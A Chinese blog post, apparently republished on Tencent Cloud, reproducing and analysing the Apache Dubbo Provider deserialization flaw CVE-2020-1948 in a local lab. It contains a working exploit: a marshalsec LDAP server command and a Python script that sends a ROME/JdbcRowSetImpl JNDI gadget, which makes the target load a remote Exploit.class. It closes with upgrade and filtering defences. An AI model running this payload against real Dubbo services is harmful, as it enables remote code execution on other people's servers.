前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[CVE-2020-1948] Apache Dubbo Provider反序列化漏洞复现及分析

[CVE-2020-1948] Apache Dubbo Provider反序列化漏洞复现及分析

作者头像
Jayway
发布2020-07-01 16:22:37
2.3K0
发布2020-07-01 16:22:37
举报
文章被收录于专栏:卓文见识卓文见识

1、Apache Dubbo

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现

对于dubbo的源码分析可参考:

https://www.anquanke.com/post/id/197658

2、CVE-2020-1948

漏洞由Ruilin发现,详情可见:

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

之前拜读过几篇文章,如研究Kryo的Java “后反序列化漏洞”利用思路:(https://paper.seebug.org/1133/)。dubbo之前的原生反序列化漏洞:https://www.cnblogs.com/zaqzzz/p/12443794.html

此次漏洞原理是由于Apache Dubbo Provider组件默认使用了hessian进行反序列化,并不复杂,所以可以直接使用之前的hessian反序列化利用方法:

https://paper.seebug.org/1131/

3、漏洞复现

这里模拟一种攻击场景,demo选用springboot搭建dubbo的一个项目:https://github.com/apache/dubbo-spring-boot-project/releases/tag/2.7.6,

下载后IDEA打开,启动dubbo-spring-boot-auto-configure-provider-sample:

启动后会在公网开放一个端口12345,等待dubbo协议通信数据传入,后续则是通过python模拟发送恶意数据到这个端口:

下一步使用环境中的gedget,开启ldap服务器,利用JNDI注入恶意数据,这里还是使用rome作为gadget,在环境中加入依赖:

使用marshalsec在8087端口开启ldap服务器,在本地web根目录放置恶意Exploit.class文件:

代码语言:javascript
复制
java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  http://127.0.0.1:81/#Exploit 8087

最后一步使用 python 代码即可进行dubbo协议通信并传入恶意对象进行反序列化后的JNDI注入:

代码语言:javascript
复制
代码语言:javascript
复制
# -*- coding: utf-8 -*-# Ruilin# pip3 install dubbo-pyfrom dubbo.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClient client = DubboClient('127.0.0.1', 12345) JdbcRowSetImpl=new_object(    'com.sun.rowset.JdbcRowSetImpl',    dataSource="ldap://127.0.0.1:8087/Exploit",    strMatchColumns=["foo"]    )JdbcRowSetImplClass=new_object(    'java.lang.Class',    name="com.sun.rowset.JdbcRowSetImpl",    )toStringBean=new_object(    'com.rometools.rome.feed.impl.ToStringBean',    beanClass=JdbcRowSetImplClass,    obj=JdbcRowSetImpl    ) resp = client.send_request_and_return_response(    service_name='cn.rui0',    method_name='rce',args=[toStringBean])

web服务器接收到请求,执行反序列化操作完成RCE:

后续补充代码层调用链分析。

4、总结

1)攻击场景

如果系统开启了dubbo端口(如1.2.3.4:12345),攻击者使用python模拟dubbo通信协议发送rpc请求,数据包含带有无法识别的服务名称service_nam或方法名称method_name,及恶意参数(JdbcRowSetImpl等),在反序列化这些恶意参数时便会触发JNDI注入,导致执行任意恶意代码。

因此攻击难度较低,但攻击危害很大。

2)防御手段

a)更新至2.7.7版本:

https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7

b)通用防御措施,增加反序列化前的service name的判断,但如果控制到中间注册中心还是会存在攻击风险;

c)hessian自身没有其他序列化包做gadgets层的防护,建议使用时进行拓展,可以参考SOFA的处理(https://github.com/sofastack/sofa-hessian ) 来增加对应的黑名单过滤器。

参考:

https://www.codercto.com/a/101851.html?from=timeline

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、Apache Dubbo
  • 2、CVE-2020-1948
  • 3、漏洞复现
  • 4、总结
    • 1)攻击场景
    • 2)防御手段
    相关产品与服务
    文件存储
    文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档